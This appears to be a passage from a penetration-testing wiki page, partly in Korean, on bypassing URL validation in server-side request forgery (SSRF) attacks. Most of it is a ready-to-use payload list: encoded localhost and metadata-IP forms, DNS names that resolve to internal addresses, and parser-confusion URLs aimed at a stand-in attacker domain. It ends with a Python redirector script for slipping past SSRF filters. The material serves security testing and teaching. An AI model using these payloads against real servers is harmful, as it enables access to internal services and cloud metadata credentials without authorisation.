CIDR bypass

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

Dot bypass

127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

Octal Bypass

http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001

Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001

Mixed encodings bypass

169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal

Add 0s bypass

127.000000000000.1

You can also mix different encoding formats

https://www.silisoftware.com/tools/ipconverter.php

Malformed and rare

localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1

DNS to localhost

localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1

</details>

![](<../../images/image (776).png>)

The **Burp 확장** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP)는 IP 형식 우회를 구현합니다.

### 도메인 파서

<details>
<summary>도메인 파서 우회</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim

On each IP position try to put 1 attackers domain and the others the victim domain

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

Parameter pollution

next={domain}&next=attacker.com

</details>

### Paths 및 Extensions 우회

URL이 path나 extension으로 끝나야 하거나 path를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도해 보세요:

https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path

### Fuzzing

도구 [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력으로부터 변형을 생성해 사용 중인 정규식(regex)을 우회해볼 수 있습니다. 자세한 내용은 [**this post**](https://0xacb.com/2022/11/21/recollapse/)도 확인하세요.

### Automatic Custom Wordlists

portswigger의 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)를 확인하세요. 허용된 호스트와 공격자 호스트를 입력하면 시도해볼 URL 목록을 생성해줍니다. 또한 URL을 파라미터, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지도 고려합니다.


<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>

### Bypass via redirect

서버가 SSRF의 원본 요청을 **필터링**하지만 그 요청에 대한 가능한 **redirect** 응답은 필터링하지 않을 수 있습니다.\
예를 들어, `url=https://www.google.com/` 형태로 SSRF에 취약한 서버는 **url param을 필터링**하고 있을 수 있습니다. 하지만 리다이렉트하려는 위치로 302 응답을 보내도록 [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv)를 사용하면 127.0.0.1 같은 필터된 IP 주소나 gopher 같은 필터된 **protocols**에도 **접근**할 수 있을지도 모릅니다.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)

<details>
<summary>SSRF 테스트용 간단한 redirector</summary>
```python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()